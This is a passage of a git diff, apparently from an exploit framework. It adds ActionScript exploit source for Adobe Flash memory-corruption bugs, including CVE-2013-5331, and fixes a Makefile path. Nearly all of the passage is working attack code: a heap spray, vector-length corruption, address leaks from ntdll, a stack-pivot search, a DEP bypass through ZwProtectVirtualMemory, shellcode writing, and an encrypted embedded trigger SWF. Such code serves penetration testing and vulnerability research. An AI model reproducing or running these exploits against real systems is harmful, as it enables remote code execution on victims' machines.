this.TweakedVector = (this.massaged_memory[index][numbers_vector_index] as Vector.); + this.TweakedVector[0x1fffffed] = this.TwoUintToFloat(16, this.vector_object_offset_4); + return (true); + }; + } catch(e:Error) { + }; + numbers_vector_index++; + }; + index++; + }; + }; + return (false); + } + + public function Restore():void + { + try { + if (((this.TweakedVector) && (this.vector_object_offset_4))){ + if (((this.sound_address) && (this.sound_address_vtable))){ + this.OverwriteAddress(this.sound_address, this.sound_address_vtable, this.sound_address_offset_4); + }; + this.TweakedVector[0x1fffffff] = this.TwoUintToFloat(16, this.vector_object_offset_4); + return; + }; + } catch(e:Error) { + }; + do { + } while (1); + } + + public function GetAddressTweakedVector():Boolean + { + var index:uint; + var index_numbers_vectors:uint; + var tweaked_next:Vector.; + var tweaked_next_next:Vector.; + try { + index = 0; + // Nullify (free) number vectors who aren't the tweaked one + while (index < 0x4000) { + index_numbers_vectors = 1; + while (index_numbers_vectors < 9) { + if (this.massaged_memory[index][index_numbers_vectors] != this.TweakedVector){ + this.massaged_memory[index][index_numbers_vectors] = null; + }; + index_numbers_vectors++; + }; + index++; + }; + index = 1; + while (index < 4) { + tweaked_next = this.ReadTwoUint(this.TweakedVector, ((17 * index) + (index - 1))); + tweaked_next_next = this.ReadTwoUint(this.TweakedVector, ((17 * (index + 1)) + index)); + // Verify that after the tweaked vector there are two more number vectors + // With the tweaked vector it is kinda easy to disclose its own address, becasuse + // Flash links vectors, so there are pointers. + if ((((((((((tweaked_next[1] == this.vector_object_offset_4)) && ((tweaked_next_next[1] == this.vector_object_offset_4)))) && ((tweaked_next[1] < tweaked_next[0])))) && ((tweaked_next_next[1] < tweaked_next_next[0])))) && (((tweaked_next_next[0] - tweaked_next[0]) == 144)))){ + this.TweakedVector_address = (tweaked_next[0] - (144 * (index + 1))); + return (true); + }; + index++; + }; + } catch(e:Error) { + }; + return (false); + } + + public function LeakObjectAddresses():Boolean + { + var one_signature:Number; + var i:uint; + var objects_leak:Vector.; + var byte_array_address:uint; + try { + one_signature = this.TwoUintToFloat(1, 1); // to match nil entries + i = 0; + while (i < 0x1000) { + // Search first objects vector entry from the tweaked one (from the massaged memory...) + if ((((this.ReadTwoUint(this.TweakedVector, i)[1] == 32)) && ((this.TweakedVector[(i + 1)] == one_signature)))){ + //objects_leak[0] => ByteArray object + //objects_leak[1] => Sound object + objects_leak = this.ReadTwoUint(this.TweakedVector, (i + 2)); + + this.sound_address = (objects_leak[0] & 0xFFFFFFF8); + this.sound_address_vtable = this.Leak(this.sound_address, true); + this.sound_address_offset_4 = this.Leak((this.sound_address + 4), true); + + byte_array_address = (objects_leak[1] & 0xFFFFFFF8); + + if (this.flash_version < 114){ + this.byte_array_data_address = this.Leak((byte_array_address + 56), true); + + } else { + byte_array_address = this.Leak((byte_array_address + 64), true); + this.byte_array_data_address = this.Leak((byte_array_address + 8), true); + }; + return (true); + }; + i++; + }; + } catch(e:Error) { + }; + return (false); + } + + public function Leak(address:uint, align:Boolean):uint + { + var eigth_byte_aligned:uint; + if (align) { + eigth_byte_aligned = ((((address % 8) == 0)) ? 0 : 1); + } else { + eigth_byte_aligned = 0; + } + if (eigth_byte_aligned){ + address = (address - 4); + }; + if (this.last_leaked_address == address){ + return (this.last_leak[eigth_byte_aligned]); + }; + var _local_3:uint = (((address - this.TweakedVector_address) - 8) / 8); + this.last_leaked_address = address; + this.last_leak = this.ReadTwoUint(this.TweakedVector, _local_3); + return (this.last_leak[eigth_byte_aligned]); + } + + public function OverwriteAddress(address:uint, value1:uint, value2:uint):void + { + var address_trough_tweaked:uint = (((address - this.TweakedVector_address) - 8) / 8); + this.TweakedVector[address_trough_tweaked] = this.TwoUintToFloat(value1, value2); + } + + public function LeakNtdll():Boolean + { + var ntdll_address:uint; + var KiFastSystemCall_address:uint; + var pe_file_header_address:uint; + try { + //KiFastSystemCallRet + KiFastSystemCall_address = this.Leak(0x7FFE0300, true); + if (KiFastSystemCall_address == 0){ + KiFastSystemCall_address = this.Leak(0x7ffe0340, true); + }; + if (KiFastSystemCall_address){ + KiFastSystemCall_address = (KiFastSystemCall_address & 0xFFFF0000); + while (1) { + if ((this.Leak(KiFastSystemCall_address, true) & 0xFFFF) == 0x5a4d){ // PE signature + ntdll_address = KiFastSystemCall_address; + break; + }; + KiFastSystemCall_address = (KiFastSystemCall_address - 65536); + }; + if (ntdll_address){ + pe_file_header_address = (ntdll_address + this.Leak((ntdll_address + 0x3c), true)); + if (this.Leak(pe_file_header_address, true) == 0x4550){ // NT Header + this.ntdll_base = ntdll_address; + this.ntdll_pe_file_header = pe_file_header_address; + return (true); + }; + }; + }; + } catch(e:Error) { + }; + return (false); + } + + public function GetUint(_arg_1:uint, _arg_2:uint, _arg_3:uint):uint + { + var _local_4:uint = (_arg_1 >>> (8 * _arg_3)); + var _local_5:uint = (((_arg_3 == 0)) ? 0 : (_arg_2 << ((4 - _arg_3) * 8))); + return ((_local_5 | _local_4)); + } + + public function FindStackPivot():Boolean + { + var ntdll_size_of_code:uint; + var ntdll_base_of_code:uint; + var instr:uint; + var offset:uint; + var next_instr:uint; + var instr_offset:uint; + try { + ntdll_size_of_code = this.Leak((this.ntdll_pe_file_header + 0x1c), true); + ntdll_base_of_code = this.Leak((this.ntdll_pe_file_header + 0x2c), true); + if (((ntdll_size_of_code) && (ntdll_base_of_code))){ + ntdll_base_of_code = (ntdll_base_of_code + this.ntdll_base); + instr = this.Leak(ntdll_base_of_code, true); + offset = 4; + while (offset < ntdll_size_of_code) { + next_instr = this.Leak((ntdll_base_of_code + offset), true); + instr_offset = 0; + while (instr_offset < 4) { + if ((this.GetUint(instr, next_instr, instr_offset) & 0xFFFF) == 0xc394){ // xcht esp, eax ; ret # 94 c3 + this.stack_pivot = (((ntdll_base_of_code + offset) - 4) + instr_offset); + return (true); + }; + instr_offset++; + }; + instr = next_instr; + offset = (offset + 4); + }; + }; + } catch(e:Error) { + }; + return (false); + } + + public function Match(address:uint, signature:Vector., offset:uint):Boolean + { + var content_next:uint; + var content:uint = this.Leak(address, true); + var i:uint; + while (i < signature.length) { + content_next = this.Leak((address + ((i + 1) * 4)), true); + if (this.GetUint(content, content_next, offset) != signature[i]){ + return (false); + }; + content = content_next; + i++; + }; + return (true); + } + + public function LeakVirtualProtect():Boolean + { + var exports_address:uint; + var virtual_protect_signature:Vector.; + var n_functions:uint; + var ptrs_entry:uint; + var ptrs_name:uint; + var ptrs_ordinal:uint; + var i:uint; + var export_name_entry:uint; + var offset_export_name_entry:uint; + var _local_10:uint; + + try { + exports_address = this.Leak((this.ntdll_pe_file_header + 0x78), true); // Export Data Directory Offset + if (exports_address){ + exports_address = (exports_address + this.ntdll_base); + virtual_protect_signature = new [0x7250775a, 0x6365746f, 0x72695674]; // ZwProtectVir ; It's searching for ZwProtectVirtualMemory + n_functions = this.Leak((exports_address + 24), true); + ptrs_entry = this.Leak((exports_address + 28), true); + ptrs_name = this.Leak((exports_address + 32), true); + ptrs_ordinal = this.Leak((exports_address + 36), true); + if (((((((n_functions) && (ptrs_entry))) && (ptrs_name))) && (ptrs_ordinal))){ + ptrs_entry = (ptrs_entry + this.ntdll_base); + ptrs_name = (ptrs_name + this.ntdll_base); + ptrs_ordinal = (ptrs_ordinal + this.ntdll_base); + i = 0; + while (i < n_functions) { + export_name_entry = this.Leak((ptrs_name + (i * 4)), true); + if (export_name_entry){ + export_name_entry = (export_name_entry + this.ntdll_base); + offset_export_name_entry = (export_name_entry % 4); + export_name_entry = (export_name_entry - offset_export_name_entry); + if (this.Match(export_name_entry, virtual_protect_signature, offset_export_name_entry)){ + _local_10 = this.Leak((ptrs_ordinal + ((i / 2) * 4)), false); + if ((i % 2)){ + _local_10 = (_local_10 >>> 16); + }; + + this.virtual_alloc_address = (this.ntdll_base + this.Leak((ptrs_entry + ((_local_10 & 0xFFFF) * 4)), true)); + return (true); + }; + }; + i++; + }; + }; + }; + } catch(e:Error) { + }; + return (false); + } + + public function ExploitIt(shellcode:String):void + { + var not_used:* = this.PrepareMemoryAndOverflow(); + if (!this.SearchOverflowedTweakAndRestore()){ + return; + }; + if (!this.GetAddressTweakedVector()){ + return; + }; + if (!this.LeakNtdll()){ + return; + }; + if (!this.FindStackPivot()){ + return; + }; + if (!this.LeakVirtualProtect()){ + return; + }; + var i:uint; + while (i < 0x19000) { + this.byte_array.writeUnsignedInt(0x41424344); + i++; + }; + this.byte_array.endian = Endian.LITTLE_ENDIAN; + var init_pos:uint = this.byte_array.position; + + // Write shellcode into the byte array + this.byte_array.position = (init_pos + 136); + this.write_into_byte_array(this.byte_array, shellcode); + + // Write stack pivot into the byte array + this.byte_array.position = (init_pos + 112); + this.byte_array.writeUnsignedInt(this.stack_pivot); + + if (!this.LeakObjectAddresses()){ + return; + }; + + this.byte_array_data_address = (this.byte_array_data_address + init_pos); + this.byte_array.position = init_pos; + + // build ZwProtectVirtualMemory "return to ntdll attack" to bypass DEP + this.byte_array.writeUnsignedInt(this.virtual_alloc_address); // ZwProtectVirtualMemory + this.byte_array.writeUnsignedInt((this.byte_array_data_address + 136)); // ret (shellcode address) + this.byte_array.writeUnsignedInt(0xFFFFFFFF); // ProcessHandle + this.byte_array.writeUnsignedInt((this.byte_array_data_address + 28)); // BaseAddress + this.byte_array.writeUnsignedInt((this.byte_array_data_address + 32)); // NumberOfBytesToProtect + this.byte_array.writeUnsignedInt(64); // NewAccessProtection + this.byte_array.writeUnsignedInt((this.byte_array_data_address + 36)); // OldAccessProtection + this.byte_array.writeUnsignedInt(this.byte_array_data_address); // this.byte_array_data_address + 28 + this.byte_array.writeUnsignedInt(0x1000); // this.byte_array_data_address + 32 + this.byte_array.writeUnsignedInt(0x41424344); // this.byte_array_data_address + 36 + + // Overwrite Sound... + this.OverwriteAddress(this.sound_address, this.byte_array_data_address, this.sound_address_offset_4); + + // Make it happen! + new Number(this.sound_object.toString()); + } + + private function write_into_byte_array(byte_array:ByteArray, string:String):void + { + var _local_4:String; + var _local_5:int; + var _local_3:int; + while (_local_3 < string.length) { + _local_4 = string.substr(_local_3, 2); + _local_5 = parseInt(_local_4, 16); + byte_array.writeByte(_local_5); + _local_3 = (_local_3 + 2); + }; + } + + private function TwoUintToFloat(_arg_1:uint, _arg_2:uint):Number + { + var result_float:ByteArray = new ByteArray(); + result_float.endian = Endian.LITTLE_ENDIAN; + result_float.writeInt(_arg_1); + result_float.writeInt(_arg_2); + result_float.position = 0; + return (result_float.readDouble()); + } + + // vector is a Float vectors + // index is the position to read from the vector + // read the vector[index] float i retorna els dos enters + // ocupant les dues posiciones + private function ReadTwoUint(vector:Vector., index:uint):Vector. + { + var byte_array:ByteArray = new ByteArray(); + byte_array.endian = Endian.BIG_ENDIAN; + byte_array.writeDouble(vector[index]); + var vector_uint:Vector. = new Vector.(2); + byte_array.position = 0; + vector_uint[1] = byte_array.readUnsignedInt(); + vector_uint[0] = byte_array.readUnsignedInt(); + return (vector_uint); + } + + private function CreateVectorThirtyTwoObjects():Vector. + { + var vector:* = new Vector.(32); + vector[0] = null; + vector[1] = null; + vector[2] = this.sound_object; + vector[3] = this.byte_array; + return (vector); + } + + private function CreateVectorSixteenNumbers():Vector. + { + var vector:* = new Vector.(16); + vector[0] = 0; + vector[15] = 1; + return (vector); + } + } +} \ No newline at end of file diff --git a/external/source/exploits/CVE-2013-2465/Makefile b/external/source/exploits/CVE-2013-2465/Makefile index 4ee5294f12..1c9f5711e3 100644 --- a/external/source/exploits/CVE-2013-2465/Makefile +++ b/external/source/exploits/CVE-2013-2465/Makefile @@ -7,7 +7,7 @@ CLASSES = Exploit.java all: $(CLASSES:.java=.class) install: - mv *.class ../../../../data/exploits/CVE-2013-3465/ + mv *.class ../../../../data/exploits/CVE-2013-2465/ clean: rm -rf *.class diff --git a/external/source/exploits/CVE-2013-5331/Exploit.as b/external/source/exploits/CVE-2013-5331/Exploit.as new file mode 100755 index 0000000000..801edd0184 --- /dev/null +++ b/external/source/exploits/CVE-2013-5331/Exploit.as @@ -0,0 +1,897 @@ +//Compile: mxmlc.exe Exploit.as -o Exploit.swf + +package +{ + import flash.display.Sprite; + import flash.utils.ByteArray; + import flash.net.LocalConnection; + import flash.utils.Endian; + import flash.net.FileReference; + import __AS3__.vec.Vector; + import flash.system.Capabilities; + import flash.display.Loader; + import flash.utils.setTimeout; + + import flash.display.LoaderInfo; + + public class Exploit extends Sprite + { + var number_massage_vectors:uint = 0x18000; + var len_massage_vector:uint = 0x36; + var maxElementsPerPage:uint = 0xe00012; + var massage_array:Array; + var tweaked_vector; + var tweaked_vector_address; + var done:Boolean = false; + var receiver:LocalConnection; + // Embedded trigger, ActionScript source available at the end of this file as code comment. + var trigger_swf:String = "78da75565f4c9357144ff6b2cca7252ed91e966d2e2c35e0a605bc681d9f11a94f4b85745b05b2f0325c78d3651ad0173666d8941998a2d9f857a0aed8de425b4a59a1a520855908f4cf6de1d2967e03d9a2885127713a37d8b9f7fba0b0cc872fdc9eef777ee79cdf39dfb9343c2b0bf75c43d48cb36a08de5f41f07bb3e4b682128c1a435abf62b93b3f49f0a027fc15ea27e3c52ebd0fb9fbc5230e7b14fdd84f4b5c1db775d88e0b6c5e8abcce91125a3d52ea34f2df5a931e7f6ed3278a5d567f89c743cfba3a964a1d467f3eb5b5a0c1fea1bc25122872b8936a6a1f3a62b58bc864a7a57d7a5ce8edc5451686bb9cd4b9fbfdc7f0e5a1a2ee86d162ec4ca281c171d4e81e2a32b54ce699fa2327781c327ff4823159ea74b420b3939e6a68c067dbaa68becd33f122d5fbf35a2f2fa1ceb691bc3e63f4888724b58039eb218f0a1dee299d83dc2b7342dc2e27fea09d4ce69bc8bd7c13d466230b877b6d90437b5c6b3246510f19d675d68fe6f5da132c87f25e3bf09b71890be2eac944e160ad5c8b63a2a046aea7d7398c1cce1b857800170f905f8b06ec43a7fa3c37b403c6d1222799542f7947746ee74d84ddf7caee1251ebecc3fa0962406204231ae9449498b3a10fc26c40954de35d159a1016e25575fa3562c8146718a67b1da39c857e892166b3fcc7ef3af74b56b1334ed744b012fa898261ab3e460cca2bea2e148caf6dd30c612114c1e06746c0a58ca530d91c1304cc0a16c2525e7ba98c11c32c6617b3e5d0ad7e59dc2fbac6ce077d6a3312a3808d5bd2593e6233cbc750b6a8ee43416af6bf02be7497168904fb6904e68e983381ef8b45750f0a8a12f7ec7a3cc643d8b3099334fb19e6278659fe3f4c2d0ace5d47c104d7660f259da7d97b7191e5df0838c3011fcb57e4b9e7fad42e24ae6ee1c94d696ae69ade845e10625024898ca9572925fd0d399c2bb2c0b8d22edc673e1eae3dab2138c463bc7ddec7eced29fb18b7bf25d937eb34c8e3059a55efd0b843f9183410ef1864dd0dbb792cff6aa566060b237157fa28fbbdd1bb4ee89de15d5f93ea008d5bf75039d7e0d472868662616ca3be3a86dfe9535f871ed422da38688e9126c4e2fa78cdf674cd08e6feeee80b521fe23da7af32fe49f0abb675c7c8ab7ea845188bdc7c0edfb9ad7c707ed2a4ca84b330165065d108d444ee661c0ae11505e3fdc390c96b7bb89021d5e67d5e6dc0f19d90e0bc172b4699fd8141c17dff045f88f32ca07a5ffea6d013822b65db3e1ae9009ba9fce1b3e5375ca70e71bb3fc0f8be81f7b7f40962d81e9c9366e2ca14b39f17a6791c3dc46943c11593ac1f16462fd9d83cecdc9887fba93a57b9cfd71575c3ca6c3a8f19dfcb3cbf49ebe67385661a2b15e01bd9d0e56fa647b5426d84f71bb1784d639cf35bceffa079314d1dc2a729e359b1cadac3f9b17ce673743e5df25bd0cf810e945854ad5be3d42b980fd40b75e706a995eb31cdf5d00b11d003b8f6f998be49f85ef84c9d4bcdd4d3e56d0cbf1650e5d2788db0c2f793e14d9ec7eaea0ea9871ee8a143de1b96f5bd2148bd815e32ecc4ea0ebaeb1ae3cde1dccbedbbf9398ccb6baa273feab14f68cdffa476be62ae19701654d08a0fd2da89e23edb64316d8996e1b6d163de795cd2661d2ea0ec91ee844d7781a8c575f327a8c39fd7d8b2847ea85ad3e2ea645167c390ceabe73d423c9ff042dab8a60b6d27f20e851a673f69473484f70e13aca3640afd4554aad4aee8cc8e7f39a04f92ce9c6048de05c18533a5619c73959d09ef490edf8f33d652d0257316f634bccf0e80b689b061cfc7090c7bb8eb751a1e3ecaeebc6922ef04d0303e63a9bc2ae19487a759bc36fe5d49bba9bbe2f726952069db25506eb3f0fd31d7ccf613ef89f09b0ffb432cdf10cff9a5e971f80bf169eda3e32eeb2f3aaf537cadc1b40677ec8dc23b44bbef0ef42b46d2ced0182ef77a473e747937ddb183517667b347d29c24f2fb8c23796d1d7e761f9f6c6dc0851ee3dd932d70d75e70d2e32677e284c33ea1a69bb51866fbe1335e879cf3cfd304f209f6226ac7f0bfc745a411f1c6ac2542dd9f06d426a641b6bc0ff65e69cd8019b9b5b96fec9ce9eb87f99db140fdf03e3400b30d7d89bebd9fcd4cec29cee935c1fd4ddad7358459efce9c6dba25e12239592c5e94a47672bcf9fb4a4d5cdad9b1f5796896ef5ad8e571f62dc4eb77d04b90ebbffc1db134"; + var key:uint = 3.627461843E9; + var shellcodeObj:Array; + + public function Exploit() { + var trigger_decrypted:uint = 0; + super(); + shellcodeObj = LoaderInfo(this.root.loaderInfo).parameters.sh.split(","); + var i:* = 0; + this.massage_array = new Array(); + + // Memory massage + i = 0; + while(i < this.number_massage_vectors) + { + this.massage_array[i] = new Vector.(1); + i++; + } + i = 0; + while(i < this.number_massage_vectors) + { + this.massage_array[i] = new Vector.(this.len_massage_vector); + this.massage_array[i][0] = 0x41414141; + i++; + } + var j:* = 0; + i = 0; + while(i < this.number_massage_vectors) + { + j = 0; + while(j < 32) + { + this.massage_array[i][j] = 0x41414141; + j++; + } + i++; + } + var k:uint = (4096 - 32) / (this.len_massage_vector * 4 + 8); + i = 65536 + 6; + while(i < this.number_massage_vectors) + { + this.massage_array[i] = new Vector.(this.len_massage_vector * 2); + this.massage_array[i][0] = 0x42424242; + i = i + k; + } + + // Decompress/Decrypt trigger + this.receiver = new LocalConnection(); + this.receiver.connect("toAS3"); + this.receiver.client = this; + var trigger_byte_array:ByteArray = this.createByteArray(this.trigger_swf); + trigger_byte_array.endian = Endian.LITTLE_ENDIAN; + trigger_byte_array.uncompress(); + trigger_byte_array.position = 0; + i = 0; + while(i < trigger_byte_array.length / 4) + { + trigger_decrypted = trigger_byte_array.readUnsignedInt() ^ this.key; + trigger_byte_array.position = trigger_byte_array.position - 4; + trigger_byte_array.writeUnsignedInt(trigger_decrypted); + i++; + } + trigger_byte_array.position = 0; + + // Trigger corruption + var trigger_loader:Loader = new Loader(); + trigger_loader.loadBytes(trigger_byte_array); + + // Handler to check for corruption + setTimeout(this.as2loaded,4000,[]); + } + + function createByteArray(hex_string:String) : ByteArray { + var byte:String = null; + var byte_array:ByteArray = new ByteArray(); + var hex_string_length:uint = hex_string.length; + var i:uint = 0; + while(i < hex_string_length) + { + byte = hex_string.charAt(i) + hex_string.charAt(i + 1); + byte_array.writeByte(parseInt(byte,16)); + i = i + 2; + } + return byte_array; + } + + // When param1.length > 0 it's called from the corruption trigger + // Else it's called because of the timeout trigger + public function as2loaded(param1:Array) : * { + var back_offset:* = undefined; // backward offset from the tweaked vector + var j:* = undefined; + var _loc15_:uint = 0; + var ninbets:Array = null; + var array_with_code:Array = null; + var address_code:uint = 0; + var _loc19_:uint = 0; + if(this.done == true) + { + return; + } + if(param1.length > 0) + { + this.done = true; + } + var corrupted_index:uint = 0; + var i:* = 0; + i = 0x10000 + 6; + + // Search corrupted vector + while(i < this.number_massage_vectors) + { + if(this.massage_array[i].length != 2 * this.len_massage_vector) + { + if(this.massage_array[i].length != this.len_massage_vector) + { + corrupted_index = i; + this.massage_array[i][0] = 0x41424344; + break; + } + } + i++; + } + + // throw Error if any vector has been corrupted + if(i == this.number_massage_vectors) + { + throw new Error("not found"); + } + else // start the magic... + { + // Tweak the length for the vector next to the corrupted one + this.massage_array[corrupted_index][this.len_massage_vector] = 0x40000001; + // Save the reference to the tweaked vector, it'll work with this one to leak and corrupt arbitrary memory + this.tweaked_vector = this.massage_array[corrupted_index + 1]; + var offset_length = 0; + // Ensure tweaked vector length corruption, I guess the offset to the vector length + // changes between flash versions + if(this.tweaked_vector.length != 0x40000001) + { + this.massage_array[corrupted_index][this.len_massage_vector + 10] = 0x40000001; + offset_length = 10; + } + if(param1.length > 0) // From the corruption trigger + { + // Fix the massage array of vectors, restores the corrupted vector and + // marks it as the last one. + back_offset = (4 * (this.len_massage_vector + 2) - 100) / 4 + this.len_massage_vector + 2; // 87 + j = 0; + /* + tweaked_vector->prior->prior, some data is overwritten, is used for search purposes + tweaked_vector[3fffffa7] = 0 + tweaked_vector[3fffffa8] = 0 + tweaked_vector[3fffffa9] = 1c0340 + tweaked_vector[3fffffaa] = ffffffff + tweaked_vector[3fffffab] = 0 + tweaked_vector[3fffffac] = 0 + tweaked_vector[3fffffad] = 0 + tweaked_vector[3fffffae] = 0 + tweaked_vector[3fffffaf] = 0 + tweaked_vector[3fffffb0] = 0 + tweaked_vector[3fffffb1] = 0 + tweaked_vector[3fffffb2] = 100 + tweaked_vector[3fffffb3] = 0 + tweaked_vector[3fffffb4] = 0 + tweaked_vector[3fffffb5] = 0 + tweaked_vector[3fffffb6] = 0 + tweaked_vector[3fffffb7] = 100dddce + tweaked_vector[3fffffb8] = 0 + tweaked_vector[3fffffb9] = 1df6000 + tweaked_vector[3fffffba] = 1dc2380 + tweaked_vector[3fffffbb] = 0 + tweaked_vector[3fffffbc] = 10000 + tweaked_vector[3fffffbd] = 70 + tweaked_vector[3fffffbe] = 0 + tweaked_vector[3fffffbf] = 4 + tweaked_vector[3fffffc0] = 0 + tweaked_vector[3fffffc1] = 1de7090 + tweaked_vector[3fffffc2] = 4 + tweaked_vector[3fffffc3] = 0 + tweaked_vector[3fffffc4] = 0 + tweaked_vector[3fffffc5] = 0 + // tweaked_vector->prior + tweaked_vector[3fffffc6] = 36 // Length + tweaked_vector[3fffffc7] = 1dea000 + tweaked_vector[3fffffc8] = 41414141 + tweaked_vector[3fffffc9] = 41414141 + tweaked_vector[3fffffca] = 41414141 + tweaked_vector[3fffffcb] = 41414141 + tweaked_vector[3fffffcc] = 41414141 + tweaked_vector[3fffffcd] = 41414141 + tweaked_vector[3fffffce] = 41414141 + tweaked_vector[3fffffcf] = 41414141 + tweaked_vector[3fffffd0] = 41414141 + tweaked_vector[3fffffd1] = 41414141 + tweaked_vector[3fffffd2] = 41414141 + tweaked_vector[3fffffd3] = 41414141 + tweaked_vector[3fffffd4] = 41414141 + tweaked_vector[3fffffd5] = 41414141 + tweaked_vector[3fffffd6] = 41414141 + tweaked_vector[3fffffd7] = 41414141 + tweaked_vector[3fffffd8] = 41414141 + tweaked_vector[3fffffd9] = 41414141 + tweaked_vector[3fffffda] = 41414141 + tweaked_vector[3fffffdb] = 41414141 + tweaked_vector[3fffffdc] = 41414141 + tweaked_vector[3fffffdd] = 41414141 + tweaked_vector[3fffffde] = 41414141 + tweaked_vector[3fffffdf] = 41414141 + tweaked_vector[3fffffe0] = 41414141 + tweaked_vector[3fffffe1] = 41414141 + tweaked_vector[3fffffe2] = 41414141 + tweaked_vector[3fffffe3] = 41414141 + tweaked_vector[3fffffe4] = 41414141 + tweaked_vector[3fffffe5] = 41414141 + tweaked_vector[3fffffe6] = 41414141 + tweaked_vector[3fffffe7] = 41414141 + tweaked_vector[3fffffe8] = 0 + tweaked_vector[3fffffe9] = 0 + tweaked_vector[3fffffea] = 0 + tweaked_vector[3fffffeb] = 0 + tweaked_vector[3fffffec] = 0 + tweaked_vector[3fffffed] = 0 + tweaked_vector[3fffffee] = 0 + tweaked_vector[3fffffef] = 0 + tweaked_vector[3ffffff0] = 0 + tweaked_vector[3ffffff1] = 0 + tweaked_vector[3ffffff2] = 0 + tweaked_vector[3ffffff3] = 0 + tweaked_vector[3ffffff4] = 0 + tweaked_vector[3ffffff5] = 0 + tweaked_vector[3ffffff6] = 0 + tweaked_vector[3ffffff7] = 0 + tweaked_vector[3ffffff8] = 0 + tweaked_vector[3ffffff9] = 0 + tweaked_vector[3ffffffa] = 0 + tweaked_vector[3ffffffb] = 0 + tweaked_vector[3ffffffc] = 0 + tweaked_vector[3ffffffd] = 0 + */ + while(j < back_offset) + { + this.tweaked_vector[0x40000000 - back_offset - 2 + j - offset_length] = param1[j]; + j++; + } + // tweaked_vector[3fffffff] = 1dea000 // Restores tweaked vector metadata + this.tweaked_vector[0x40000000-1] = param1[back_offset + 1]; + + + j = back_offset + 2; + + // Modifies the tweaked vector content, and overflow the next ones, they just remain in good state: + /* + // tweaked vector content + tweaked_vector[0] = 41414141 + tweaked_vector[1] = 41414141 + tweaked_vector[2] = 41414141 + tweaked_vector[3] = 41414141 + tweaked_vector[4] = 41414141 + tweaked_vector[5] = 41414141 + tweaked_vector[6] = 41414141 + tweaked_vector[7] = 41414141 + tweaked_vector[8] = 41414141 + tweaked_vector[9] = 41414141 + tweaked_vector[a] = 41414141 + tweaked_vector[b] = 41414141 + tweaked_vector[c] = 41414141 + tweaked_vector[d] = 41414141 + tweaked_vector[e] = 41414141 + tweaked_vector[f] = 41414141 + tweaked_vector[10] = 41414141 + tweaked_vector[11] = 41414141 + tweaked_vector[12] = 41414141 + tweaked_vector[13] = 41414141 + tweaked_vector[14] = 41414141 + tweaked_vector[15] = 41414141 + tweaked_vector[16] = 41414141 + tweaked_vector[17] = 41414141 + tweaked_vector[18] = 41414141 + tweaked_vector[19] = 41414141 + tweaked_vector[1a] = 41414141 + tweaked_vector[1b] = 41414141 + tweaked_vector[1c] = 41414141 + tweaked_vector[1d] = 41414141 + tweaked_vector[1e] = 41414141 + tweaked_vector[1f] = 41414141 + tweaked_vector[20] = 0 + tweaked_vector[21] = 0 + tweaked_vector[22] = 0 + tweaked_vector[23] = 0 + tweaked_vector[24] = 0 + tweaked_vector[25] = 0 + tweaked_vector[26] = 0 + tweaked_vector[27] = 0 + tweaked_vector[28] = 0 + tweaked_vector[29] = 0 + tweaked_vector[2a] = 0 + tweaked_vector[2b] = 0 + tweaked_vector[2c] = 0 + tweaked_vector[2d] = 0 + tweaked_vector[2e] = 0 + tweaked_vector[2f] = 0 + tweaked_vector[30] = 0 + tweaked_vector[31] = 0 + tweaked_vector[32] = 0 + tweaked_vector[33] = 0 + tweaked_vector[34] = 0 + tweaked_vector[35] = 0 + // next to the tweaked vector + tweaked_vector[36] = 36 + tweaked_vector[37] = 1dea000 + tweaked_vector[38] = 41414141 + tweaked_vector[39] = 41414141 + tweaked_vector[3a] = 41414141 + tweaked_vector[3b] = 41414141 + tweaked_vector[3c] = 41414141 + tweaked_vector[3d] = 41414141 + tweaked_vector[3e] = 41414141 + tweaked_vector[3f] = 41414141 + tweaked_vector[40] = 41414141 + tweaked_vector[41] = 41414141 + tweaked_vector[42] = 41414141 + tweaked_vector[43] = 41414141 + tweaked_vector[44] = 41414141 + tweaked_vector[45] = 41414141 + tweaked_vector[46] = 41414141 + tweaked_vector[47] = 41414141 + tweaked_vector[48] = 41414141 + tweaked_vector[49] = 41414141 + tweaked_vector[4a] = 41414141 + tweaked_vector[4b] = 41414141 + tweaked_vector[4c] = 41414141 + tweaked_vector[4d] = 41414141 + tweaked_vector[4e] = 41414141 + tweaked_vector[4f] = 41414141 + tweaked_vector[50] = 41414141 + tweaked_vector[51] = 41414141 + tweaked_vector[52] = 41414141 + tweaked_vector[53] = 41414141 + tweaked_vector[54] = 41414141 + tweaked_vector[55] = 41414141 + tweaked_vector[56] = 41414141 + tweaked_vector[57] = 41414141 + tweaked_vector[58] = 0 + tweaked_vector[59] = 0 + tweaked_vector[5a] = 0 + tweaked_vector[5b] = 0 + tweaked_vector[5c] = 0 + tweaked_vector[5d] = 0 + tweaked_vector[5e] = 0 + tweaked_vector[5f] = 0 + tweaked_vector[60] = 0 + tweaked_vector[61] = 0 + tweaked_vector[62] = 0 + tweaked_vector[63] = 0 + tweaked_vector[64] = 0 + tweaked_vector[65] = 0 + tweaked_vector[66] = 0 + tweaked_vector[67] = 0 + tweaked_vector[68] = 0 + tweaked_vector[69] = 0 + tweaked_vector[6a] = 0 + tweaked_vector[6b] = 0 + tweaked_vector[6c] = 0 + tweaked_vector[6d] = 0 + // next -> next to the tweaked vector + tweaked_vector[6e] = 36 + tweaked_vector[6f] = 1dea000 + tweaked_vector[70] = 41414141 + tweaked_vector[71] = 41414141 + tweaked_vector[72] = 41414141 + tweaked_vector[73] = 41414141 + tweaked_vector[74] = 41414141 + tweaked_vector[75] = 41414141 + tweaked_vector[76] = 41414141 + tweaked_vector[77] = 41414141 + tweaked_vector[78] = 41414141 + tweaked_vector[79] = 41414141 + tweaked_vector[7a] = 41414141 + tweaked_vector[7b] = 41414141 + tweaked_vector[7c] = 41414141 + tweaked_vector[7d] = 41414141 + tweaked_vector[7e] = 41414141 + tweaked_vector[7f] = 41414141 + tweaked_vector[80] = 41414141 + tweaked_vector[81] = 41414141 + tweaked_vector[82] = 41414141 + tweaked_vector[83] = 41414141 + tweaked_vector[84] = 41414141 + tweaked_vector[85] = 41414141 + tweaked_vector[86] = 41414141 + tweaked_vector[87] = 41414141 + tweaked_vector[88] = 41414141 + tweaked_vector[89] = 41414141 + tweaked_vector[8a] = 41414141 + tweaked_vector[8b] = 41414141 + tweaked_vector[8c] = 41414141 + tweaked_vector[8d] = 41414141 + tweaked_vector[8e] = 41414141 + tweaked_vector[8f] = 41414141 + tweaked_vector[90] = 0 + tweaked_vector[91] = 0 + tweaked_vector[92] = 0 + tweaked_vector[93] = 0 + tweaked_vector[94] = 0 + tweaked_vector[95] = 0 + tweaked_vector[96] = 0 + tweaked_vector[97] = 0 + tweaked_vector[98] = 0 + tweaked_vector[99] = 0 + tweaked_vector[9a] = 0 + 